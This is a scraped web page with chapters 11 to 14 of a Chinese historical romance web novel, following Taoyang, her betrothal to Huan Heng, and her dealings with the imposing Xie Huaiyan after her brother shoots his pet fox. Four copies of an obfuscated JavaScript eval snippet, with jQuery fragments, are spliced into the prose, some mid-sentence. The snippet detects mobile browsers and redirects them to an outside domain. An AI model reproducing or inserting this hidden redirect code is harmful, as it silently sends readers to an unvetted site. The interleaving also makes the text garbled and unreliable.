;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997164|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眸垂下,漫不经心在桓恒腰间扫过。 他侧首看向桃漾,桃漾的目光还未在桓恒那里收回,听到他声线平和的问:“桃漾妹妹很满意这门亲事么?”他抬步往回走,桃漾走在他身后侧,淡淡颔首:“竹陵桓氏是我母亲的母家,父母定下的亲事,自是好的。” 她嗓音很轻,亦很平淡。 谢怀砚神色意味不明,薄唇轻笑:“听闻两家自去岁重阳纳彩,已走完四礼,竹陵桓氏却迟迟未来请期,不知是何缘故?”他侧首,清亮眸光落在桃漾面上,清晰瞧见桃漾听闻这句话时,虽是极力掩饰自己的情绪,却依旧露出几许不安来。 少女肤白若凝脂,适才庾子轩那句打趣的话惹了她脸红,像是春日里桃花盛放,点点粉红漾开在她面颊。 桃漾神色清淡,回他:“过些时日便来请期了。” 谢怀砚观人观心,看她强撑自若的神色,心中冷笑:“如此便该给妹妹贺喜,愿桃漾妹妹与心上人百年好合。”他说完,两人正巧行至分岔路,谢怀砚对她颔首,转身往墨园方向行去。 桃漾看着他的身影走远,微微松了口气,往韶院方向走出上百步时才意识到指节蜷握,机关盒的棱角在白皙掌心留下深深的压痕。 韶院里,桓馥靠在香榻上,眉眼间生出愁绪来。 她叹声:“这婚期不定下,我这心里总是不踏实。”桓馥身边的宋嬷嬷给她递了杯桂花蜜茶,温声道:“夫人不必忧心,四郎君午时不是说了,他母亲过几日便到了,待桓二夫人来,您与她商议便是。” 往年里来淮阳给谢老夫人贺寿,皆是桓氏一族的家主夫人带上家族里未成家出阁的郎君娘子一道来,桓恒父亲是桓氏二房,今岁他母亲来此,也是桓馥一早就写过书信的,为的就是这迟迟未定下的婚期。 宋嬷嬷见桓馥面色愁容不减,继续宽慰:“夫人是知道的,咱们五姑娘样貌生的好,性子又乖巧温顺,桓二夫人若见了,哪有不喜欢的道理?”宋嬷嬷这般说,桓馥倒是有所动容。 桃漾在她身边自小就乖巧懂事,她还记得,每回她和阿梵闹了矛盾,无论谁对谁错,总是桃漾先去哄阿梵,无论阿梵是理会她,还是哭天喊地的不依不饶,桃漾都很有耐心。 她不止一次的告诉过桃漾,她虽是姐姐,却不必处处都谦让,那时,桃漾只笑着对她说:“阿娘,没关系的,我愿意照顾妹妹。”不止这些,她和阿梵年纪相仿,年幼时都喜欢黏着她。 可那时她还要掌家,实在忙不来,桃漾也不知是听了谁的话,小小年纪不但会为她做补身子的糕点,夜里还都是她一个人睡,从未闹过。 桓馥陷入久远的回忆中,再想到桓恒看到桃漾时那挪不开的眼,眉眼舒展开来:“你说的对,是我太过忧虑了。” 11. 第 11 章 桓恒与桃漾初次相见,便是在阳夏。 自桓馥出嫁以来,桓恒只来过阳夏一回。前年,他随好友在豫州游历,途径阳夏时想着来看看他姑母,只是上回来已是数年之前,他根本就不记得阳夏谢氏的府邸所在何处,正巧这时瞧见一辆挂有‘谢’字铜牌的马车。 少年心性,就骑马默默跟在这辆马车后。 到时还能跟姑母说他记性颇好,是自己找来的,只不过他慢悠悠的跟在马车后,根本就未注意到马车里的女郎早就发觉有人跟踪,本是很近的车程,却因只敢沿着闹市走,而绕了好大一圈。 而且,她还命婢女悄悄下了马车前去寻人。 当时赶去五六强壮豪奴,围着他就要上棍子开打,他口中不住的说他是竹陵桓氏中人,可这般偷偷摸摸跟在人马车后面,谁能信他?当真就把他给揍打了一顿,鼻青脸肿的。 桓恒在阳夏谢氏府中养了近半月的伤。 桃漾心中自是愧疚不安,给他送去了伤药,又亲自煎了汤药送去赔罪。 桓恒性子好,脸上还肿的跟发面馒头一样,就笑着与桃漾说:“不怪桃漾妹妹,是我,我当时应该上前问上一句的,不然怎会让桃漾妹妹误会是跟踪的歹人。”他一笑,扯动着嘴角,生生的疼。 桃漾给他送了几日药后,就再未去看过他了。 她自幼心思敏锐,瞧得出父亲有意和竹陵桓氏结亲,她的亲事本就不顺,竹陵桓氏这样的好亲事,自然是六妹妹的。只是,桓恒自阳夏离开那日,和桓馥在屋内单独叙话了近半个时辰。 当晚,桓馥就唤了桃漾去她屋中,问她觉得桓恒如何,对他可有那种心思。 对于桓恒来说,他本只是来谢府中见见姑母的,在此耽搁半月有余实不是他心中所愿,可他自见到桃漾后,又觉得这一切都像是冥冥中自有天意,他此次前来并非一无所获,甚至是,他遇到了倾慕之人。 桃漾不知那日桓馥与桓恒都说了些什么,之后也未问起过,只有谢玉梵,自那日后,有很长的一段时日对她态度都冷冷的,桃漾看的出,谢玉梵并非是喜欢桓恒,她只是不满她日后要嫁去竹陵桓氏。 桃漾回到韶院,去桓馥屋里小坐片刻,就回了她的西厢房。 晚间,府中二房行五的郎君谢承,在琼华园中宴请桓恒,庾子轩以及王氏三郎君作陪。 烛火摇曳,歌舞美酒。 年轻郎君们聚在一处总是热闹,几番畅饮后,桓恒便有些不胜酒力,士族名门中人好饮酒,但他的酒量却浅的很,谢承见此,就命下人去端醒酒汤来:“还是两年前,我随父前去竹陵时与桓四郎探讨过‘机关术’,当时颇有兴致,只是后来太没耐性,也就作罢。” “桓兄等下用些醒酒汤,咱们在这竹林清风中再探讨一二。” 桓恒闻言自是应下。 待婢女端来醒酒汤,半跪在桓氏身侧欲用玉勺喂给他喝时,桓恒撤身,示意她不用,随后抬手接过婢女手中汤碗,一松一握间,却是因醉酒手中不稳,汤碗倾斜,洒了一身。 名门士族重容止,雅怀有概。 婢女急忙递上绢帕为他擦拭,口中连连认错,谢承冷声斥责,随后站起身道:“府中婢女缺少管教,扰了桓兄兴致,我带桓兄去水榭换件衣裳。”桓恒起身与谢承去了水榭换衣,再回时宴席之上酒水已尽,几人对坐相谈起《墨子》中的机关术。 夜半月明,几人各回居所。 桓恒醉了酒,简单洗漱,上榻歇下。 翌日一早,他酒醒下榻,再用了碗醒酒汤后,沐浴更衣,下意识去解腰间佩戴香囊,指节所触,却是摸了个空,急忙回身问他的贴身小厮:“昨儿我在水榭换下的衣裳呢?” 小厮闻言回:“昨夜谢五公子命人把公子您的衣裳给送来,小的瞧见上面有酒渍,就给洗了。”小厮往后罩房的位置望了眼。 桓恒问:“香囊搁哪儿了?” 小厮挠头不解:“公子,您衣服上没,没香囊!” 桓恒皱起眉,昨夜他确是吃醉了,默上片刻,他穿好衣衫,大步走出北院,往琼华园行去。 他来到昨夜宴席处,果真在他所落座的位置瞧见了桃漾送给他的那两只香囊,就掉落在青石板地上,两块青石板间还拱出了一支小嫩苗,不知是花还是草,只是,他的两只香囊都破了。 锦缎被撕毁,里面塞满了的药草散落一地,在清晨的日光下,阵阵飘香落在桓恒鼻息间。 他怔怔的望着,心里万般难过。 几声狗吠‘汪汪汪’的,把桓恒的思绪扯回,他回身望过去,再去看地面上锦缎被撕扯的齿痕,心中生怒,定是这畜生干的无疑,他蹲下身来,将散落的七零八散的药草都捡起,用身上的绢帕一一包好。 桃漾妹妹刚给缝制的,不过只佩戴了一日。 上面针脚细密,一针一线皆是用了心的,更别说这里放的药草,他辜负了心意,总是要去赔礼道歉的。 桓恒收拾好后,往琼华园外走,途径那条大黑狗处时,恨不得将他一刀给剁了。 —— 墨园。 窗牖外还暗淡无光时,谢怀砚就已起身下了榻,他身上只有一件单薄中衣,独自一人站在窗边,望着东山逐渐漾起的片片霞红。 空谷收拾干净地上碎裂杯盏的残渣后,战战兢兢走上前,低声问:“公子,可要去请净空大师来么?”许久,屋内空寂,没有半点回应。及至东山朝阳显出,谢怀砚才对空谷淡淡‘嗯’了一声。 净空大师就住在谢府中,是谢怀砚招揽进谢氏的高僧,时常与谢怀砚在一处清谈,空谷来到净空大师的院中,神色沉重,低声说了几句:“公子昨夜又被梦给困住,天不亮就起了身,还摔碎了榻边那只瑶盏。” “也不知是为何,近来这梦境越来越频繁,已是每隔一日就缠公子一日。” “净空大师,您快些罢,别整您的袈裟了,定是你这些时日外出云游,公子才梦境频频的。”空谷催的急,净空却是不疾不徐,按着他自己的节奏收整好后才随空谷往墨园中去。 待行至一处游廊前,迎面走来一神色愁闷的男子,隔得很远,净空就闻到了一股龙脑和苏合香的气息,待走的近了些,又有莲子的清香随风而来,净空望向迎面而来的男子手中,一只靛青色绢帕中鼓鼓囊囊的,那气息应就是那里传来的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997165|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 净空不管身侧的空谷有多急,停下步子来对桓恒道了声‘阿弥陀佛’,随后问他:“见公子面带愁容,又紧握着手中绢帕,不知是为何?”桓恒对出家人向来敬重,就一五一十的将他的愁绪道出。 净空没说什么,再道了句阿弥陀佛,就随空谷往墨园里去了。 他心中感慨,这般用心的香囊既看不惯,也不可毁了。随之,他又一笑,可这为他人所用心之物,矜贵自傲之人又怎肯留下。 净空来到墨园,谢怀砚已出了门,秋霜上前见礼,将手中的一本经书递给净空:“我家公子让把这个给大师,说三日后请大师前往鹿鸣山中别苑,他再与大师清谈。”净空接过秋霜递来的经书。 只一眼,他便能明白谢怀砚是何意。 这边桓恒一大早的连早膳都未用就来韶院给他姑母请安,在这里一起用了早膳后,急不可耐的要跟桃漾解释。两个人坐在抄手游廊下,桓恒很是内疚:“都怪我,昨夜里不该吃那么些酒,不然也不会把香囊落在地上,让那畜生给咬的稀碎。” 他很懊恼,清俊明朗的脸庞都显出几分郁气。 桃漾从他手中拿过绢帕,打开来看了一眼,随后笑他:“香囊都破了,恒哥哥还留着这些做什么?”不等桓恒回她,她对桓恒莞尔:“恒哥哥不必懊恼,我再给你绣上一只就是了。” “真的么?”桓恒又惊又喜。 桃漾笑盈盈对他点头。 桓恒看着她,也露出笑意:“我本以为桃漾妹妹是要跟我生气的,日后我也再得不到桃漾妹妹亲手绣的香囊,”他痴痴的看着桃漾:“桃漾妹妹性子好,不与我计较,”他压低声,凑近道:“我能娶到漾妹妹,当真是我的福气。” “日后我定待漾妹妹加倍的好。” 桓恒一番话说的桃漾耳热,桃漾看他一眼,倒是收起了笑,面色严厉:“再给恒哥哥绣上一只,可不能再掉了。” “定然不会了!”桓恒信誓旦旦。 桃漾让杏枝把针线都取来,早几日她闲来无事绣了朵莲,如今倒也是派上了用场,再添上一朵就是了,桃漾绣着莲,桓恒就在一旁陪着,两个人说着话。夏日风暖,游廊下倒是凉爽。 本是安安静静的,谢敛不知从何处钻了出来,乐呵呵的上前,对桃漾道:“我腰间的香囊也旧了,五姐姐不给我也绣一个?”谢敛今儿一大清早的就和几位郎君相约出了府,在外面用过早膳方回。 桃漾往他腰间的香囊上看一眼,对他应下:“你想要个什么图样的?” 谢敛歪头想了想:“五姐姐的绣工好,随意什么图样都是好的。”他们姐弟三人,桃漾性子最温,谢玉梵性子直且骄纵,与谢敛时常吵架斗嘴,谢敛骨子里也是个爱玩的,最看不惯谢玉梵,与桃漾的关系一直不错。 往日在阳夏谢澜和桓馥对他管教严,不许他去外面和别的士族子弟玩闹,如今来了谢氏,谢澜和桓馥都不再管他,谢澜反而希望他能多出去和谢氏本家的子弟多走动来往,桃漾已有好几日没见过他了。 谢敛在这里小坐片刻,就又出了韶院。 桃漾再见到他,已是几日后他神色慌乱的从鹿鸣山中回来—— 12. 第 12 章 桓恒送给桃漾的机关盒一连几日桃漾也未破解开。桓恒来韶院的时候,桃漾不止一次套过他的话,但桓恒却是一点都不肯透露,左右在韶院也无事,桃漾听谢嫣说她们谢氏府中的藏书阁里各种古籍皆有,就来了藏书阁里翻阅书籍。 负责看守藏书阁的宋先生引着她来到二层阁楼靠南侧的书架前,温文有礼道:“这排书架上摆放的皆是与机关术相关的古籍,有古籍原本,也有诸多名门才子所注讲解,姑娘若有何其他需要,可再唤我。” 桃漾对他道谢,取了几本书卷坐在窗边木椅上翻阅起来。 至申时的时候,桓恒也来了这里,他面色清朗,笑声与桃漾道:“我去了韶院才知桃漾妹妹独自来了藏书阁,在看什么书这么入迷?”桃漾抬眸看他:“还不是恒哥哥给的机关盒,我打不开,就来寻法子了。” 桓恒闻言笑出声来,在桃漾对面坐下:“若是这机关盒扰了桃漾妹妹心烦,倒非我送礼之本意了,机关盒桃漾妹妹可带在身上,我来教你破解。”桃漾在藏书阁里待了有一个多时辰,正看书看的入神,已有些小通门道,哪肯让他教,只翻开书中她不解的地方,让桓恒一一给她讲解。 铺天盖地的问题。 桓恒咧开嘴笑,很有耐心事无巨细给她解答。 两个人在这里再待了近一个时辰,西山晚霞漫天时才一道下了二层阁楼,夏日多雨,他们走出藏书阁的正门时外面正落着淅淅沥沥的雨水,二人来时都未撑伞,站在门前相对,桃漾道:“杏枝见我不回,定会来接的。” 桓恒对她颔首。 心中希望杏枝可以晚来上一会儿,这样,他就可以和桃漾这里多站上一会儿,多说些话。 * 天色将暗时,雨声沙沙,谢怀砚自外回到府中,正往墨园中走,宋先生身披油衣迎面而来,对他见礼。宋钰是谢怀砚收在府中的门客,对他极为看重,宋钰喜爱藏书典籍,跟谢怀砚讨来了看守藏书阁这个闲差。 谢怀砚神色平和,停下步子问他:“今日又是哪个在藏书阁里不肯走,害的宋先生落着雨的天这么晚才回。”淮阳谢氏是士族门阀,府中子弟众多,往日里时常会有天都暗下还赖在藏书阁中不肯离去的小郎君或是小娘子。 谢怀砚随口一问。 宋钰笑回:“公子说笑,是阳夏来的谢五姑娘和竹陵桓氏的四郎君,他们来时还未落雨,就在藏书阁等了会儿人来送伞。”谢怀砚闻言轻应一声:“不是有把伞在藏书阁闲置着,宋先生拿给他们便是了。” 宋钰回:“上回公子落在那里的伞我倒是拿给了他们,只是五姑娘说那是公子您的,他们不好拿用,”宋钰顿了顿:“愿我如星君如月,这世间的有情人总是想多陪伴些,谢五姑娘和桓四郎君情意浓重,便是檐下共观雨,也愿多待上片刻。” 宋钰一语道破,谢怀砚再问:“府中藏书阁一直有规,宋先生可告知他们闭阁的时辰了?” 宋钰回:“他们倒是来的不晚,谢五姑娘刚过午时后便来了,两人看的是机关古籍,这类书看起来是有些停不下。”谢怀砚颔首,神色平和:“落着雨的天,宋先生路上当心,早些回去。”说完,他手撑绘竹油纸伞大步往墨园行去。 —— 翌日一早,众人前去存玉堂给谢老夫人请安时,颍川庾氏的人到了淮阳。 庾氏家主夫人与庾氏二爷并家中小辈一道前来给谢老夫人请安。此次各个士族齐聚淮阳谢氏,是为了给谢老夫人过整寿,也是各士族来往的好时机。 桓馥带着桃漾和谢玉梵在这里久待了会儿,也算是与颍川庾氏的人都照了面。 待离了谢老夫人的存玉堂,各自去忙。 桃漾再去了藏书阁,偏偏桓恒越是要教她如何破解,她反而越想自己给破解开,在藏书阁看了半日的古籍,心中小有思绪,就回了韶院继续去摆弄。 天色暗下,桃漾在桓馥屋中用过晚膳,回到卧房沐浴后就径直上了榻,倚在迎枕上翻阅书卷,不多时,她觉屋内闷燥,就起身着衣去了屋外抄手游廊下,边吹风边看书。 夜风沁凉,阵阵拂来。 桃漾正看的出神,一道急切的声音自院门的方向传过来:“五姐姐——”谢敛脚下步子匆忙,在满院的烛火下显得极为慌乱,他踉踉跄跄的走到桃漾跟前,漆黑的眸子直直的,神色紧绷:“五姐姐,我,我惹祸了——” 谢敛满身浓重的酒气朝桃漾扑面而来,桃漾微微凝眉,搁下手中书卷,起身握住他的手腕,温声问他:“你别急,慢慢说,发生何事了?”她让谢敛坐下,让杏枝给他添了杯茶水。 谢敛凝眉,胆怯的往他父亲谢澜的书房方向望了眼,压低声颤颤道:“我晚间和几位郎君在鹿鸣山中饮酒,酒酣意兴时,起了射箭的兴致,五姐姐,”谢敛眼圈泛红:“我,我不小心射/了二公子的狐狸。” 谢氏二郎君身边有一宠兽,待之极娇,无人敢碰,是二公子最为看重之物,豫州坊间常有传闻,曾有一人见那红狐颇具灵性,醉酒后欲断其尾做挂饰佩戴于身,以此来避邪秽。 之后,这人在豫州再无其名,也未有人再见其踪影。 “五姐姐,我害怕——” 桃漾闻言眉心蹙紧,随后问谢敛:“都有何人知晓此事?” 谢敛惊慌答:“无人知晓,我吃醉了酒,隔得很远瞧见山中似有兽走动,就跑去把它给射.了,没人跟我一起,只我自己。”桃漾闻言松了口气,既得罪不了,只能瞒。 她正欲开口宽慰谢敛,听谢敛颤声又道:“五姐姐,我的玉佩掉在山里了,我看到躺在地上的是那只红狐时,吓得摔倒在地,扔下弓弩就跑,想来是那时候落下的——” 桃漾看他一眼,默了许久。 “你回屋歇着罢,我去把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997166|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉佩给你找回来。” 桃漾起身,被谢敛握住手腕,他既怕又无措的看着桃漾:“五姐姐,你——若你去了,被二公子的人看到,岂不是也要连累了你?”桃漾对他轻笑:“我又不会儿使弓箭,只是玉佩恰巧掉在了那里前去寻回罢了。” 谢敛闻言握着她手腕的手松了松。 桃漾主动与他道:“不用怕,父亲母亲不会知道这件事的。”这正是谢敛心中所忧,这件事不能被父亲知道!二公子是淮阳谢氏家主之子,未来的谢氏家主,父亲近几年一心攀附淮阳谢氏本家,若因他得罪了二公子,而让父亲做的一切功亏一篑,就算二公子肯饶过他,父亲也定是会打死他的。 桃漾的话让谢敛心里定了神,他松开桃漾的手:“夜间路暗,五姐姐当心些。”桃漾问了谢敛他回时都经过了何处,手中提了灯便出了韶院。 这个时辰府中各处都还热闹着,谢敛因回来时心中惊惧,特意绕了僻静些的道路走,桃漾沿着他回时的路往鹿鸣山行过去,这一路上并未见谢敛玉佩的踪迹。 那玉佩是桃漾祖父还在时交在谢敛手中的,通体莹白,上面篆刻有阳夏谢氏的字样,桃漾来到鹿鸣山中时,这里极为静谧,不曾见也不曾耳闻谢敛口中说的与他共饮酒作乐的公子们。 她四下望了眼,一手提灯一手执竹棍,在谢敛所言大概位置以竹棍拨开旺盛草丛细心的寻着,待夜风将阵阵血腥气送至鼻息间时,桃漾放慢步子,循着气味走过去,昏黄烛火下,点缀着片片血迹的地方已不见谢敛口中说的那只红狐,四周也未有什么玉佩。 桃漾心中一紧,微微凝眉。 已预感到事情不妙。 “桃漾妹妹是在寻这个么?”桃漾正在心中思虑,一道清润沉稳的声音自身后传来,她收敛情绪回身,高大颀长的身影映入眼帘,谢怀砚身着墨色宽袍,神色从容,正玩弄着手中那枚莹白的玉佩。 桃漾眸光微不可察的在玉佩上扫过,上前一步对他见礼,垂眸道:“早几日和嫣儿妹妹来鹿鸣山中赏景,身上佩戴的玉佩不小心落在这里,侍奉的婢女是个粗心的,今日才留意到。” 她看向谢怀砚指节间:“不成想被二公子捡到了。” 谢怀砚点墨眸光在她面上扫过,神色淡淡:“是块不错的玉佩,可惜,沾了血,太不吉利。”他说着,朝桃漾这边走过,往前面不远处的古亭走过去。 桃漾抬眸看着他的背影,夜色中,辨不清他是何意。 只跟上去。 谢怀砚在古亭中落座,抬起杯盏用茶时手中玉佩也未放下,他不言语,只默默用茶。 桃漾轻轻看他一眼,开口问:“二公子可能将玉佩还我么?”谢怀砚闻言抬眸,薄唇勾出淡淡笑意:“玉佩若是桃漾妹妹的,自是该当归还,”他神色本是温和,却忽然一沉,嗓音中也透出几许凌厉:“可这玉佩,是妹妹的么?” 13. 第 13 章 桃漾下意识咬紧了唇。 她怕他,自年少时就怕,这种怕就像是她的影子,永远都摆脱不掉。可她也深知若谢怀砚知晓是谢敛射死了他的宠兽,就算他肯看在同为一宗的情面放过谢敛,日后他们阳夏谢氏也是彻底得罪了他。 桃漾垂下眼眸,过上片刻,复抬眸再看过去,神色坚定道:“这玉佩共有两枚,是祖父送与我和敛儿弟弟的。” 谢怀砚眸光意味不明,只看着她。 空谷上前与桃漾道:“五姑娘,我家公子养了数十年的红狐被人当了箭靶子,这玉佩就是在一侧捡到的。今夜在这里设宴的是六郎君,他说他和庾氏郎君亲眼瞧见是敛公子射的红狐。” “而且,这每人用的弓弩看似一般无二,实则上面篆刻的字迹皆有考究。”空谷一番话说出,命人取来谢敛用过的弓弩,桃漾无话可说,垂眸轻叹了声。 谢怀砚声线变得平和:“桃漾妹妹的玉佩应是掉在了别处,天色已暗,妹妹可先回去,我命人在这山中给妹妹寻就是了。”他说完,起身就要离开。 桃漾迟疑一瞬后唤他:“二公子。” 谢怀砚停下步子听她说。 桃漾道:“敛儿尚年少,心性贪玩,并非有意害了您的红狐,还望二公子能宽恕他一二。”谢怀砚侧首看她一眼,薄唇勾笑:“此事是他的错,桃漾妹妹不必过问,我自有决断。” 他说是这样说,语气却是冷硬的很。 桃漾甚至隐隐听到了他言语中的杀意,这件事比她想象中还要严重。 夜风轻拂,一阵沉默。 桃漾还想再为谢敛争取一二,抛却这些年她和谢敛的姐弟情意不谈,同出阳夏谢氏,不是父亲需要淮阳谢氏的提拔,而是他们阳夏一族需要庇护,还有几日,竹陵桓氏的人就要到淮阳,她和桓恒的亲事能否彻底定下,只看这回了。 谢敛是父亲唯一的嫡子,若他再闹出些什么事,对她的亲事更为不利。 她不想这件事闹大,无论他们阳夏谢氏与淮阳本家来往如何,在外人看来,淮阳谢氏都是他们的倚仗,而这倚仗,不可在别的士族面前崩塌。 桃漾在他身后跪下。 静谧山谷间,偶有鸟啼,谢怀砚回身,垂眸睨她,神色说不上是好看,反倒是冰冷的有些骇人:“起身说话。”他语气依旧冰冷:“桃漾妹妹这是要替弟受过么?” 桃漾低声回:“我可带敛儿来给二公子赔罪道歉。” 谢怀砚冷笑一声:“我见他作甚。” 他只这句话,再无其他言语。 桃漾站起身,掩于袖中的指蜷住,再道:“若我有能为二公子做的,可替敛儿向二公子赔罪。” 谢怀砚听了他想听的话,周身气场转变,不再冷寒。 他抬眸往鹿鸣山东南侧望过去,语气平和:“不过是伤了只畜生,桃漾妹妹何必如此,”他抬手往东南方向指了指:“听闻桃漾妹妹在阳夏时有片自己的花圃,早几日我瞧这山中空荡,就命人在香苑栽种了大片花草,不过,这些下人笨手笨脚,照料不好,桃漾妹妹可愿替我打理一番么?” 桃漾抬眸看他,与他点墨般的眸子相对,猜测出他的用意,只回道:“我也是自己琢磨,公子的花草珍贵,怕照料不好。” 谢怀砚轻笑:“怎会,我信桃漾妹妹。” * 桃漾回到韶院时谢敛还在游廊里等她,她刚一走进院门,谢敛就撒腿迎过来,急切问:“五姐姐,找到了么?”桃漾把那枚玉佩递给他,低声道:“别担心,没事。” 谢敛既惊喜又不解,跟在桃漾身侧,桃漾就与他道:“那只狐狸只是受了伤,还活着,二公子让我帮他照料几日鹿鸣山中的花草,算是赔罪了。”谢敛听闻此彻底放下心来,长长的吐了一口气。 第二日一早,桓恒提了只食盒来到韶院,昨个他见桃漾用午膳时不太有胃口,虽说阳夏归属淮阳,可两地的吃食却还有些微的不同,桓恒一大早的就去了街上的春望酒楼,这酒楼的掌勺便是阳夏人,做了好几道可口的阳夏菜送过来。 桃漾依旧不太有胃口,不过,还是把桓恒带来的饭菜每样都吃了些。待用过早膳,桓恒说要再一起去藏书阁,教她另外一本的机关古籍,桃漾微微皱了眉:“现在不成,我得先去趟鹿鸣山中,待午后再和恒哥哥一道去。” 她简单与桓恒说了去鹿鸣山照料花草的事,桓恒没再说什么。 桃漾来到鹿鸣山南侧的香苑时,谢怀砚正在古亭中端坐着翻看书卷,桃漾上前见礼,谢怀砚命空渊带她先去瞧一眼那些新运来的花草。桃漾也是过了垂花门才知道,这里的花草数目大的惊人。 比她在阳夏时摆弄的花圃大上数十倍不止。 她问空渊:“这些都要我照料么?” 空渊对她颔首:“姑娘只须在这看着,有何需要做的,吩咐香苑里的下人去做便是。”桃漾抿了抿唇,接过空渊递上来的册子,上面俱是香苑里种着的花草名称,足足有数十纸张之多。 在这里大致看过一遍后,再次回到古亭中,谢怀砚已经放下手中书卷,抬手给桃漾添了杯桂花甜饮。 他嗓音温润,不疾不徐:“这些花草养的娇,须桃漾妹妹时刻关注着,怕是一日都不得闲。”桃漾用了口茶,抬眸与他商量:“再找个人陪我一起罢,我可以把我所知都说与她,祖母的寿辰就在这月底,之后我便要回阳夏,也好让别人来打理这些花草。” 谢怀砚对她颔首。 * 桃漾在花草丛中忙活没一会儿,谢怀砚为她安排的另一个人就过来了。 是陈月漪。 自上次的宴席过后,陈月漪就不再是谢怀砚后院中的女子,而是顶了冬月的位置在谢怀砚身边侍奉。 桃漾看到来人是陈月漪时,既惊喜又在意料之中。 自那回与陈月漪在湖中凉亭相见后,两人未再碰过面,坐在海棠花树下的石桌前,说了些别的事后,就翻看起空渊递来的那本册子。 香苑里的花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997167|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草种类繁多,且皆是罕见品种,种育的法子各有不同,有些桃漾也不知,只能摸索着来。这样一忙,就到了很晚才回去韶院,刚走进院门,准备去桓馥那里问安,迎面就看到院中正与谢敛下棋的桓恒。 “桃漾妹妹回来了。”桓恒欣喜的看向她。 正巧一局棋谢敛已是必输之势,也看着桃漾笑道:“五姐姐,表哥在韶院等了你好几个时辰呢。”桃漾这才想起晨起时与桓恒说过的话,心中不免愧疚:“是我忙忘了。” 桓恒起身,见她面露疲色,宽慰她:“二公子是高雅之人,他的花草定是养的娇,桃漾妹妹是该上心些,不过,也别累着了自个。”谢敛默默收了棋子,极有眼力见的离去,只留他五姐姐和桓恒在这里。 当夜,桃漾沐浴过后倒在榻上就睡下了。 翌日一早,再赶去鹿鸣山,刚走进香苑,就见陈月漪垮着一张娇丽的脸,欲哭的模样,扯着桃漾的手朝花海左侧指了指:“桃漾,昨晚你回去后,我闲着也是无事,就给那片花草浇了水,没成想一早来看,都蔫了。” 桃漾顺着陈月漪所指看过去,那里栽种的是一整片的兔耳花,此花最为怕水,一旦浇水过多,根茎就会腐烂,桃漾在阳夏时种过此花,带着陈月漪以及数十婢女给这片兔耳花翻土,让土壤中的水分可以快些散去。 谢怀砚忙完公务来到此处时,陈月漪前去请罪,谢怀砚只看向桃漾,神色平淡:“鹿鸣山中过几日会有好几场宴席,公子们爱花,不可有闪失,桃漾妹妹往返韶院与鹿鸣山中太过辛苦,不如住在这里。” 未等桃漾开口,他看向香苑外不远处的小院水榭:“那里倒合适。”谢怀砚所说之处并非他的别苑,鹿鸣山中共有九处泉眼,其中两处都在他的别苑内。 剩余七处遍布鹿鸣山中。 府中人常来此泡温泉,每处泉眼附近皆有水榭用来更衣小憩。 后来,府中郎君们饮酒作乐后,在温泉水中休闲,便不想再回至府内,这鹿鸣山中就建了大大小小的一些清雅小院,谢怀砚所指,便是其中的一处。 他的话说的平静,神色清润用着杯中清茶,却一直未让跪在他面前的陈月漪起身。桃漾垂眸在陈月漪身上扫过,在心里暗暗算了算日子,今儿已是五月二十二日,再过上十来日她就可以回阳夏了。 她对谢怀砚颔首:“听二公子的。” 今日桓恒依旧在韶院里等着桃漾,却只等来了谢怀砚身边的婢女秋霜,说是她家公子请五姑娘帮他照料几日花草,鹿鸣山离得韶院须走上一炷香的时辰,多有不便,留了桃漾住在山中小院。 秋霜跟在谢怀砚身边多年,话说的客气又体面。 桓馥没说什么,桓恒也只黯然回了他的居所。 待到第二日一早,桓恒就也去了鹿鸣山,只是守山门的家仆将他拦下,说这几日鹿鸣山中各处都要修缮,不许任何人进入。桓恒跟守门仆人说来说去,直耗了小半个时辰,家仆只好回:“桓四郎君稍侯,我去回禀公子。” 14. 第 14 章 一刻钟后,家仆再回来,与桓恒见礼道:“桓四郎君回吧。” 桓恒未料到谢怀砚如此不讲情面,未再言说,转身离去。 之后,净空大师来到鹿鸣山,手中拿着的是那日谢怀砚命人交给他的佛经,他在谢怀砚的别苑里待上小半个时辰,再出来时,正巧遇上挽袖提木桶往溪流边走的桃漾。 净空大师双手合十,道:“阿弥陀佛。” 桃漾搁下木桶对他回礼。 